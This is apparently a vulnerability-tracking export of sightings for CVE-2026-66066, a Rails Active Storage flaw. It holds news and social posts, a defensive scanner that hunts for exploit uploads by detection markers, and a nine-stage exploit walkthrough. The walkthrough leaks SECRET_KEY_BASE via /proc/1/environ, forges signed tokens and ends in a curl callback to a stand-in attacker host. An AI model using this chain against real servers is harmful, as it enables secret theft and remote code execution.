{"vulnerability": "CVE-2026-66066", "sightings": [{"uuid": "45d0a297-db0e-463e-b815-bd5cb6127e22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mrth7bn2562g", "content": "A Rails Active Storage flaw, CVE-2026-66066 (CVSS 9.5), enables arbitrary file read and remote code execution. Patch Rails and rotate secrets now.\n\n#RubyOnRails #ActiveStorage #CVE202666066 #RCE #libvips #InfoSec", "creation_timestamp": "2026-07-30T03:01:41.239543Z"}, {"uuid": "6f379067-e1b5-4f9d-a3c9-e48c184f60c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mrtic5din42v", "content": "Rails Active Storage Turns Your Server Into A Self-Destructing Confessional\nPANIC 97% | Lag 0.0h | CVE-2026-66066 in Rails Active Storage is a critical flaw that can allow arbitrary file read and rem\n#AfterShockIndex\nREAD MORE", "creation_timestamp": "2026-07-30T03:21:10.732629Z"}, {"uuid": "443893d2-172d-4683-ad9b-f7f2590e5e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/koshian.bsky.social/post/3mrtipkrbmg2x", "content": "Active Storage \u3068\u3044\u3046\u304b libvips \u306e\u8106\u5f31\u6027\u306a\u306e\u304b\u306a?\n\n\u6df1\u523b\u5ea6\u300c\u7dca\u6025\u300d\u306eRails\u8106\u5f31\u6027\u300cKindaRails2Shell\u300d\uff08CVE-2026-66066\uff09\u306e\u6982\u8981\u3068\u5bfe\u5fdc\u6307\u91dd - GMO Flatt Security Blog", "creation_timestamp": "2026-07-30T03:28:41.250571Z"}, {"uuid": "0f95e496-c31e-43fc-a4dd-9cba51d1277c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/cskartikey/e1db6fa823980f7d870432de59e29462", "content": "#!/usr/bin/env python3\n\"\"\"Fast Cloudflare R2 scan for CVE-2026-66066 / GHSA-xr9x-r78c-5hrm uploads.\n\nExample: scan_r2_cve2026_66066.py --workers 100 --jsonl r2-hits.jsonl\nCredentials via environment:\n\n    export R2_ACCOUNT_ID=...\n    export R2_ACCESS_KEY_ID=...\n    export R2_SECRET_ACCESS_KEY=...\n    export R2_BUCKET=...\n\n    python3 -m pip install boto3\n    python3 scan_r2_cve2026_66066.py\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport json\nimport os\nimport sys\nimport threading\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\nfrom dataclasses import asdict, dataclass\n\ntry:\n    import boto3\n    from botocore.client import Config\n    from botocore.exceptions import ClientError\nexcept ModuleNotFoundError:\n    print(\"error: install boto3: python3 -m pip install boto3\", file=sys.stderr)\n    raise SystemExit(2)\n\n\nMATLAB_PREFIX = b\"MATLAB 5.0\"\nHDF5_SIGNATURE = b\"\\x89HDF\\r\\n\\x1a\\n\"\nHDF5_OFFSET = 512\nPOC_TRAILER_MAGIC = b\"RAILS_GHSA_OAST_PAYLOAD_V1\"\nBMP_MAGIC = b\"BM\"\nTHREAD_LOCAL = threading.local()\n\n\n@dataclass\nclass Hit:\n    key: str\n    size: int\n    etag: str\n    reasons: list[str]\n    head_hex: str\n    content_type: str = \"\"\n    tail_hex: str = \"\"\n\n\ndef parse_args() -> argparse.Namespace:\n    parser = argparse.ArgumentParser(\n        description=(\n            \"Parallel R2 byte-sample scan for MATLAB/HDF5 Active Storage \"\n            \"exploit uploads (CVE-2026-66066).\"\n        )\n    )\n    parser.add_argument(\n        \"--bucket\",\n        default=os.environ.get(\"R2_BUCKET\"),\n        help=\"R2 bucket name (or set R2_BUCKET)\",\n    )\n    parser.add_argument(\n        \"--prefix\",\n        default=os.environ.get(\"R2_PREFIX\", \"\"),\n        help=\"optional key prefix (Active Storage root prefix, if any)\",\n    )\n    parser.add_argument(\n        \"--endpoint\",\n        default=os.environ.get(\"R2_ENDPOINT\"),\n        help=\"R2 S3 API endpoint (default derived from R2_ACCOUNT_ID)\",\n    )\n    parser.add_argument(\n        \"--head-bytes\",\n        type=int,\n        default=768,\n        help=\"bytes to fetch from object start (default: %(default)s)\",\n    )\n    parser.add_argument(\n        \"--tail-bytes\",\n        type=int,\n        default=1024,\n        help=\"bytes to fetch from object end only on head hits (default: %(default)s)\",\n    )\n    parser.add_argument(\n        \"--min-size\",\n        type=int,\n        default=1024,\n        help=(\n            \"skip objects smaller than this (default: %(default)s; \"\n            \"lab artifact is ~2-4 KiB)\"\n        ),\n    )\n    parser.add_argument(\n        \"--max-size\",\n        type=int,\n        default=256 * 1024,\n        help=(\n            \"skip objects larger than this (default: 256KiB). Observed prod \"\n            \"MATLAB probes were ~74KiB declared as image/png.\"\n        ),\n    )\n    parser.add_argument(\n        \"--workers\",\n        type=int,\n        default=32,\n        help=\"parallel Range-GET workers (default: %(default)s)\",\n    )\n    parser.add_argument(\n        \"--max-objects\",\n        type=int,\n        default=0,\n        help=\"stop after sampling N objects (0 = no limit)\",\n    )\n    parser.add_argument(\n        \"--jsonl\",\n        type=str,\n        default=\"\",\n        help=\"optional path to write hit records as JSONL\",\n    )\n    return parser.parse_args()\n\n\ndef require_env(name: str) -> str:\n    value = os.environ.get(name, \"\").strip()\n    if not value:\n        raise SystemExit(f\"error: set {name} in the environment\")\n    return value\n\n\ndef make_client(endpoint: str | None):\n    account_id = os.environ.get(\"R2_ACCOUNT_ID\", \"\").strip()\n    access_key = require_env(\"R2_ACCESS_KEY_ID\")\n    secret_key = require_env(\"R2_SECRET_ACCESS_KEY\")\n    if not endpoint:\n        if not account_id:\n            raise SystemExit(\n                \"error: set R2_ENDPOINT or R2_ACCOUNT_ID in the environment\"\n            )\n        endpoint = f\"https://{account_id}.r2.cloudflarestorage.com\"\n    return boto3.client(\n        \"s3\",\n        endpoint_url=endpoint,\n        aws_access_key_id=access_key,\n        aws_secret_access_key=secret_key,\n        region_name=os.environ.get(\"AWS_REGION\", \"auto\"),\n        config=Config(\n            signature_version=\"s3v4\",\n            max_pool_connections=64,\n            retries={\"max_attempts\": 3, \"mode\": \"standard\"},\n        ),\n    )\n\n\ndef client_for_thread(endpoint: str | None):\n    client = getattr(THREAD_LOCAL, \"client\", None)\n    if client is None:\n        client = make_client(endpoint)\n        THREAD_LOCAL.client = client\n    return client\n\n\ndef get_range(client, bucket: str, key: str, start: int, end: int) -> bytes:\n    response = client.get_object(\n        Bucket=bucket,\n        Key=key,\n        Range=f\"bytes={start}-{end}\",\n    )\n    return response[\"Body\"].read()\n\n\ndef analyze_head(key: str, size: int, etag: str, head: bytes) -> Hit | None:\n    reasons: list[str] = []\n\n    if head.startswith(MATLAB_PREFIX):\n        reasons.append(\"matlab_5_header\")\n    if len(head) >= HDF5_OFFSET + len(HDF5_SIGNATURE):\n        if head[HDF5_OFFSET : HDF5_OFFSET + len(HDF5_SIGNATURE)] == HDF5_SIGNATURE:\n            reasons.append(\"hdf5_sig_at_512\")\n    if POC_TRAILER_MAGIC in head:\n        reasons.append(\"poc_trailer_magic\")\n    for marker in (b\"MATLAB_class\", b\"/proc/\", b\"SECRET_KEY_BASE\"):\n        if marker in head:\n            reasons.append(f\"marker:{marker.decode('ascii', 'replace')}\")\n\n    # Declared BMP is checked only if we later learn content-type; for raw\n    # bytes, a non-BM object that still looks like MAT/HDF5 is enough.\n    if \"matlab_5_header\" in reasons and \"hdf5_sig_at_512\" in reasons:\n        reasons.append(\"mat_hdf5_hybrid_layout\")\n\n    if not reasons:\n        return None\n\n    return Hit(\n        key=key,\n        size=size,\n        etag=etag.strip('\"'),\n        reasons=sorted(set(reasons)),\n        head_hex=head[:64].hex(),\n    )\n\n\ndef enrich_tail(\n    client,\n    bucket: str,\n    hit: Hit,\n    size: int,\n    head: bytes,\n    tail_bytes: int,\n) -> Hit:\n    if tail_bytes <= 0:\n        return hit\n    if size <= len(head):\n        tail = head\n    else:\n        start = max(0, size - tail_bytes)\n        try:\n            tail = get_range(client, bucket, hit.key, start, size - 1)\n        except ClientError as error:\n            print(f\"warn: tail get failed key={hit.key}: {error}\", file=sys.stderr)\n            return hit\n\n    extra: list[str] = []\n    if POC_TRAILER_MAGIC in tail:\n        extra.append(\"poc_trailer_magic\")\n    for marker in (b\"MATLAB_class\", b\"/proc/\", b\"SECRET_KEY_BASE\", b\"rails_ghsa\"):\n        if marker in tail:\n            extra.append(f\"marker:{marker.decode('ascii', 'replace')}\")\n    if extra:\n        hit.reasons = sorted(set(hit.reasons) | set(extra))\n    hit.tail_hex = tail[-64:].hex()\n    return hit\n\n\ndef iter_candidates(client, bucket: str, prefix: str, min_size: int, max_size: int):\n    token = None\n    listed = 0\n    kept = 0\n    while True:\n        kwargs = {\"Bucket\": bucket, \"Prefix\": prefix, \"MaxKeys\": 1000}\n        if token:\n            kwargs[\"ContinuationToken\"] = token\n        page = client.list_objects_v2(**kwargs)\n        for item in page.get(\"Contents\", []):\n            listed += 1\n            size = int(item[\"Size\"])\n            if size < min_size or size > max_size:\n                continue\n            kept += 1\n            yield item\n        if not page.get(\"IsTruncated\"):\n            break\n        token = page.get(\"NextContinuationToken\")\n        print(\n            f\"list progress listed={listed} candidates={kept}\",\n            file=sys.stderr,\n            flush=True,\n        )\n    print(\n        f\"list done listed={listed} candidates={kept}\",\n        file=sys.stderr,\n        flush=True,\n    )\n\n\ndef sample_one(\n    endpoint: str | None,\n    bucket: str,\n    item: dict,\n    head_bytes: int,\n    tail_bytes: int,\n) -> Hit | None:\n    client = client_for_thread(endpoint)\n    key = item[\"Key\"]\n    size = int(item[\"Size\"])\n    etag = str(item.get(\"ETag\", \"\"))\n    head_end = min(size, head_bytes) - 1\n    try:\n        head = get_range(client, bucket, key, 0, head_end)\n    except ClientError as error:\n        print(f\"warn: range get failed key={key}: {error}\", file=sys.stderr)\n        return None\n\n    hit = analyze_head(key, size, etag, head)\n    if hit is None:\n        return None\n    return enrich_tail(client, bucket, hit, size, head, tail_bytes)\n\n\ndef main() -> int:\n    args = parse_args()\n    if not args.bucket:\n        raise SystemExit(\"error: pass --bucket or set R2_BUCKET\")\n    if args.head_bytes < 520:\n        raise SystemExit(\"error: --head-bytes must be >= 520 to catch HDF5@512\")\n    if args.workers < 1:\n        raise SystemExit(\"error: --workers must be >= 1\")\n    if args.min_size < 0 or args.max_size < args.min_size:\n        raise SystemExit(\"error: invalid size bounds\")\n\n    list_client = make_client(args.endpoint)\n    candidates = []\n    for item in iter_candidates(\n        list_client,\n        args.bucket,\n        args.prefix,\n        args.min_size,\n        args.max_size,\n    ):\n        candidates.append(item)\n        if args.max_objects and len(candidates) >= args.max_objects:\n            break\n\n    hits: list[Hit] = []\n    sampled = 0\n    lock = threading.Lock()\n    jsonl = open(args.jsonl, \"w\", encoding=\"utf-8\") if args.jsonl else None\n\n    try:\n        with ThreadPoolExecutor(max_workers=args.workers) as pool:\n            futures = [\n                pool.submit(\n                    sample_one,\n                    args.endpoint,\n                    args.bucket,\n                    item,\n                    args.head_bytes,\n                    args.tail_bytes,\n                )\n                for item in candidates\n            ]\n            for future in as_completed(futures):\n                sampled += 1\n                if sampled % 200 == 0 or sampled == len(candidates):\n                    print(\n                        f\"sample progress sampled={sampled}/{len(candidates)} \"\n                        f\"hits={len(hits)}\",\n                        file=sys.stderr,\n                        flush=True,\n                    )\n                hit = future.result()\n                if hit is None:\n                    continue\n                with lock:\n                    hits.append(hit)\n                    line = json.dumps(\n                        asdict(hit), separators=(\",\", \":\"), sort_keys=True\n                    )\n                    print(line, flush=True)\n                    if jsonl is not None:\n                        jsonl.write(line + \"\\n\")\n                        jsonl.flush()\n    finally:\n        if jsonl is not None:\n            jsonl.close()\n\n    print(\n        f\"summary candidates={len(candidates)} sampled={sampled} hits={len(hits)} \"\n        f\"bucket={args.bucket} prefix={args.prefix!r} \"\n        f\"size_window={args.min_size}-{args.max_size}\",\n        file=sys.stderr,\n    )\n    if not hits:\n        print(\n            \"no MATLAB/HDF5 hybrid uploads found in size window. \"\n            \"If Active Storage keeps blob metadata in Postgres, also query \"\n            \"active_storage_blobs for content_type like image/bmp and \"\n            \"byte_size between ~1KiB and ~64KiB.\",\n            file=sys.stderr,\n        )\n    return 1 if hits else 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n", "creation_timestamp": "2026-07-30T14:46:38.372236Z"}, {"uuid": "2bc5e5d7-673c-4c52-b382-0c804cfa4fb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mrtnite5jka3", "content": "\u6df1\u523b\u5ea6\u300c\u7dca\u6025\u300d\u306eRails\u8106\u5f31\u6027\u300cKindaRails2Shell\u300d\uff08CVE-2026-66066\uff09\u306e\u6982\u8981\u3068\u5bfe\u5fdc\u6307\u91dd - GMO Flatt Security Blog https://blog.flatt.tech/entry/kindarails2shell_rails", "creation_timestamp": "2026-07-30T04:54:23.745259Z"}, {"uuid": "2087f190-fce7-4ec9-a721-e5ff214943f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "Telegram/W0lu0X8rnBxhk3SmdmG-8xSd4a_Cg78RoyGoES2GQ8tFRdo", "content": "", "creation_timestamp": "2026-07-30T05:00:03.369386Z"}, {"uuid": "d5e24021-ba7e-4a40-ba03-19efb029c5b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3mrumq252hb2m", "content": "KindaRails2Shell: arbitrary file read to RCE in Rails Active Storage via libvips (CVE-2026-66066)", "creation_timestamp": "2026-07-30T14:13:11.836899Z"}, {"uuid": "dba8c6c3-e55c-4afd-98d4-7b161762c209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/nvnb.misskey.io.ap.brid.gy/post/3mru3flijfqf2", "content": "\u3010JPCERT\u3011\u6ce8\u610f\u559a\u8d77: Ruby on Rails\u306eActive Storage\u306b\u304a\u3051\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u8106\u5f31\u6027\uff08CVE-2026-66066\uff09\u306b\u95a2\u3059\u308b\u6ce8\u610f\u559a\u8d77 (\u516c\u958b)\nhttps://www.jpcert.or.jp/at/2026/at260021.html\n\nNVNB\u306f\u8106\u5f31\u6027\u60c5\u5831\u306e\u95b2\u89a7\u3092\u652f\u63f4\u3059\u308b\u30b5\u30fc\u30d3\u30b9\u3067\u3059\nhttps://nvnb.blossomsarchive.com/", "creation_timestamp": "2026-07-30T09:03:10.971241Z"}, {"uuid": "7191e975-b6ea-444f-b307-d0d33ff4e8f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mru43lflwx27", "content": "Critical Rails flaw CVE-2026-66066 lets unauthenticated attackers read server files via crafted image uploads in Active Storage with libvips, exposing secrets like keys and tokens. #Rails #ActiveStorage #libvips", "creation_timestamp": "2026-07-30T09:15:26.023318Z"}, {"uuid": "59a061cf-a29e-4dfe-b77d-422786c3598c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mrumts7dnf2o", "content": "\ud83d\udd17 CVE : CVE-2026-66066", "creation_timestamp": "2026-07-30T14:15:17.171650Z"}, {"uuid": "38a0606f-ed0b-41fc-8138-3f9bcca08bbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mrtld4zebi2j", "content": "Rails patched CVE-2026-66066, a critical Active Storage flaw that could let unauthenticated attackers read arbitrary files via crafted image uploads and expose keys, passwords, and API tokens. #RubyOnRails #ActiveStorage #libvips", "creation_timestamp": "2026-07-30T04:15:25.389342Z"}, {"uuid": "99c8a3a6-34ed-43e3-8f19-1938d693f0f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://threatintel.cc/2026/07/30/critical-rails-flaw-lets-unauthenticated.html", "content": "cybersecuritynews.com/critical-…\n\nRuby on Rails released emergency patches for CVE-2026-66066 (also called KindaRails2Shell), a critical vulnerability in Active Storage\u2019s default libvips image-variant processing. An unauthenticated attacker who can upload images can craft a file that causes the server to read arbitrary files, including process environment variables that typically contain secret_key_base, database credentials, and cloud/API keys.\n\nSuccessful file disclosure can escalate to remote code execution or lateral movement. The flaw affects applications using the default vips processor that accept untrusted image uploads. Fixed versions are Rails 7.2.3.2, 8.0.5.1 and 8.1.3.1; libvips must also be at least 8.13. Operators are urged to patch immediately and rotate secrets.", "creation_timestamp": "2026-07-30T13:00:39.622813Z"}, {"uuid": "d157c37d-97b4-48dd-a0c5-e8ab2a50bee1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3mrufpz7azk27", "content": "Tracked as CVE-2026-66066 (CVSS score: 9.5), the flaw can expose the Rails process environment and secrets such as secret_key_base, the Rails master key, database passwords, cloud storage credentials, and API tokens. thehackernews.com/2026/07/crit...", "creation_timestamp": "2026-07-30T12:07:55.037035Z"}, {"uuid": "4b323c6d-af00-4317-b2f6-01cc836110de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/crawler.baldanders.info/post/3mru5htp5zu2m", "content": "\uff1e \u6ce8\u610f\u559a\u8d77: Ruby on Rails\u306eActive Storage\u306b\u304a\u3051\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u8106\u5f31\u6027\uff08CVE-2026-66066\uff09\u306b\u95a2\u3059\u308b\u6ce8\u610f\u559a\u8d77  (\u516c\u958b)\nhttps://www.jpcert.or.jp/at/2026/at260021.html\n", "creation_timestamp": "2026-07-30T09:40:10.314101Z"}, {"uuid": "750ecd48-84c8-47db-aa13-6d6c8c4934e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://gist.github.com/win3zz/ae02cb1c3be0b79f69b609f559e1f179", "content": "## Stage 1 \u2013 Visit Upload Page (Get CSRF)\n\n```\nGET / HTTP/1.1\nHost: victim.com\n```\n\nResponse\n\n```html\n\n```\n\nExtract the CSRF token.\n\n---\n\n## Stage 2 \u2013 Upload a Normal PNG\n\nThe PoC first uploads a harmless PNG.\n\n```\nPOST /uploads HTTP/1.1\nHost: victim.com\nContent-Type: multipart/form-data; boundary=----\n\n------BOUNDARY\nContent-Disposition: form-data; name=\"authenticity_token\"\n\nCSRF_TOKEN\n------BOUNDARY\nContent-Disposition: form-data;\n name=\"upload[avatar]\";\n filename=\"safe.png\"\n\n\n------BOUNDARY--\n```\n\nResponse\n\n```\nHTTP/1.1 200 OK\n```\n\nInside HTML:\n\n```html\n\n```\n\nThis representation URL becomes important later.\n\n---\n\n## Stage 3 \u2013 Create Direct Upload\n\nRails Active Storage allows JavaScript clients to upload files directly.\n\n```\nPOST /rails/active_storage/direct_uploads HTTP/1.1\n\nContent-Type: application/json\nX-CSRF-Token: CSRF_TOKEN\n\n{\n  \"blob\":{\n      \"filename\":\"profile.bmp\",\n      \"byte_size\":12345,\n      \"checksum\":\"....\",\n      \"content_type\":\"image/bmp\"\n  }\n}\n```\n\nResponse\n\n```json\n{\n   \"signed_id\":\"eyJ...\",\n   \"direct_upload\":{\n      \"url\":\"/rails/active_storage/disk/....\",\n      \"headers\":{\n           \"Content-Type\":\"image/bmp\"\n      }\n   }\n}\n```\n\nNow the attacker has:\n\n* upload URL\n* signed blob ID\n\n---\n\n## Stage 4 \u2013 Upload the Malicious BMP\n\nThis is **not really a BMP**.\n\nIt is actually\n\n```\nMATLAB\n      +\nHDF5\n      +\nExternal Dataset\n      +\nEmbedded Ruby Marshal Payload\n```\n\nUploaded with\n\n```\nPUT /rails/active_storage/disk/... HTTP/1.1\n\nContent-Type: image/bmp\n\n\n```\n\nResponse\n\n```\n204 No Content\n```\n\n---\n\n## Stage 5 \u2013 Trigger Image Processing\n\nNow the representation URL is modified to use the uploaded blob.\n\n```\nGET /rails/active_storage/representations/redirect//profile.bmp\n```\n\nAt this point Rails asks **libvips** to process the image.\n\nInstead of reading image pixels, libvips interprets it as a MATLAB/HDF5 file.\n\nThe HDF5 file contains an **External Dataset** pointing to\n\n```\n/proc/1/environ\n```\n\nSo libvips loads\n\n```\n/proc/1/environ\n```\n\ninstead of image pixels.\n\n---\n\n## Stage 6 \u2013 Information Disclosure\n\nThe response is still a PNG image.\n\nHowever its pixels now contain the contents of\n\n```\n/proc/1/environ\n```\n\nThe PoC parses the returned PNG.\n\nInside the pixels it extracts\n\n```\nSECRET_KEY_BASE=xxxxxxxxxxxxxxxx\n```\n\nThis is the Rails signing secret.\n\n---\n\n## Stage 7 \u2013 Forge Active Storage Token\n\nNow the PoC computes\n\n```\nHMAC(secret,\n     serialized Ruby Marshal payload)\n```\n\ncreating a valid Rails signed token.\n\nThis is equivalent to forging a legitimate\n\n```\nvariation_key\n```\n\nfor Active Storage.\n\n---\n\n## Stage 8 \u2013 Final Trigger\n\n```\nGET /rails/active_storage/representations/redirect//safe.png\n```\n\nThis time Rails trusts the forged token because it is correctly signed with the recovered `SECRET_KEY_BASE`.\n\nRails deserializes the embedded Ruby Marshal object.\n\n---\n\n## Stage 9 \u2013 Code Execution\n\nThe Marshal object eventually invokes\n\n```\nMiniMagick::Tool\n```\n\nconfigured as\n\n```\n/usr/bin/curl\n```\n\nwith arguments similar to\n\n```\ncurl \\\n --silent \\\n --show-error \\\n --max-time 8 \\\n --output /dev/null \\\n http://attacker.com/callback\n```\n\nThe outbound callback proves code execution without returning sensitive data.\n\n---\n\n# Complete Burp Flow\n\n```text\nGET /\n      \u2502\n      \u25bc\nReceive CSRF Token\n      \u2502\n      \u25bc\nPOST /uploads\n      \u2502\n      \u25bc\nReceive Representation URL\n      \u2502\n      \u25bc\nPOST /rails/active_storage/direct_uploads\n      \u2502\n      \u25bc\nReceive signed_id + upload URL\n      \u2502\n      \u25bc\nPUT malicious BMP\n      \u2502\n      \u25bc\nGET representation(profile.bmp)\n      \u2502\n      \u25bc\nlibvips reads /proc/1/environ\n      \u2502\n      \u25bc\nSECRET_KEY_BASE leaked\n      \u2502\n      \u25bc\nForge Rails signed token\n      \u2502\n      \u25bc\nGET representation(forged token)\n      \u2502\n      \u25bc\nMarshal Deserialization\n      \u2502\n      \u25bc\nMiniMagick::Tool\n      \u2502\n      \u25bc\ncurl attacker callback\n```\n\n# Vulnerability Chain\n\nThis is **not a single vulnerability**, but a chained exploit:\n\n1. **Arbitrary file read** via libvips external HDF5 dataset (`/proc/1/environ`).\n2. **Leak of `SECRET_KEY_BASE`** from the Rails process environment.\n3. **Forgery of Active Storage signed variation tokens** using the leaked secret.\n4. **Unsafe Ruby Marshal deserialization** of the forged variation.\n5. **Command execution** through the `MiniMagick::Tool` gadget (demonstrated with an outbound `curl` callback).\n\n\n### Ref. PoC: \n- https://github.com/Zer0SumGam3/CVE-2026-66066-POC/blob/main/rails_vips_oast_poc.py", "creation_timestamp": "2026-07-30T11:01:15.227122Z"}, {"uuid": "0f4d0bc4-3b38-4f12-ae9e-09d245f65880", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/matarillo.com/post/3mrt7u3sxhy25", "content": "CVE-2026-66066 \u3068\u306e\u3053\u3068\u3060\u3063\u305f\u306e\u3067\u4e00\u5fdc\u3053\u306e\u30de\u30b9\u30c8\u30c9\u30f3\u30b5\u30fc\u30d0\u30fc\u3082rails\u3092\u624b\u3067\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u3057\u3066\u304a\u3044\u305f", "creation_timestamp": "2026-07-30T00:50:09.096059Z"}, {"uuid": "c72f3473-fec7-429f-a6d0-51f23c0136ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/kdm.ac/post/3mrtmphxcjk2h", "content": "\u6df1\u523b\u5ea6\u300c\u7dca\u6025\u300d\u306e Rails \u8106\u5f31\u6027\u300cKindaRails2Shell\u300d(CVE-2026-66066) \u306e\u6982\u8981\u3068\u5bfe\u5fdc\u6307\u91dd\nblog.flatt.tech/entry/kindar...", "creation_timestamp": "2026-07-30T04:40:15.078263Z"}, {"uuid": "f31a2a57-008c-4555-87e9-2f82e4afdd8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "Telegram/SJmbQDTJOoLR6WUPV-7UADrc7Vs17MVSUxypkFUaK9ZbHGI", "content": "", "creation_timestamp": "2026-07-30T01:00:02.978460Z"}, {"uuid": "337f37af-ebaa-48fb-9ce5-eb2d0d6963c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "Telegram/Yj7Aq_xyYiyFjEC7_fWRp1WW6CPSPv-8fFQ8YzgEKFCsJSk", "content": "", "creation_timestamp": "2026-07-30T01:00:03.019865Z"}, {"uuid": "55aedf45-a9ad-4354-9e93-1b762a0885c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://thehackernews.com/2026/07/critical-rails-flaw-could-let.html", "content": "Ruby on Rails has released fixes for a critical Active Storage vulnerability that could let unauthenticated attackers read arbitrary files from application servers through crafted image uploads.\n\nTracked as CVE-2026-66066 (CVSS score: 9.5), the flaw can expose the Rails process environment and secrets such as secret_key_base, the Rails master key, database passwords, cloud storage credentials,", "creation_timestamp": "2026-07-30T01:00:47.286037Z"}, {"uuid": "c6378235-d8ba-4b52-bba3-e3feffb0af92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "Telegram/8sG8-znVA24HEgCSSOgSFdLJSscjGG_d1L2w-JFGPL2oE2E", "content": "", "creation_timestamp": "2026-07-30T01:00:03.151419Z"}, {"uuid": "ff7a9298-7458-4bcc-98b4-6f409f38e1aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-66066", "type": "seen", "source": "https://bsky.app/profile/sec-news-bot.bsky.social/post/3mru6nxlohn2l", "content": "\u6ce8\u610f\u559a\u8d77: Ruby on Rails\u306eActive Storage\u306b\u304a\u3051\u308b\u30ea\u30e2\u30fc\u30c8\u30b3\u30fc\u30c9\u5b9f\u884c\u306b\u3064\u306a\u304c\u308b\u8106\u5f31\u6027\uff08CVE-2026-66066\uff09\n\nRuby on Rails\u306eActive 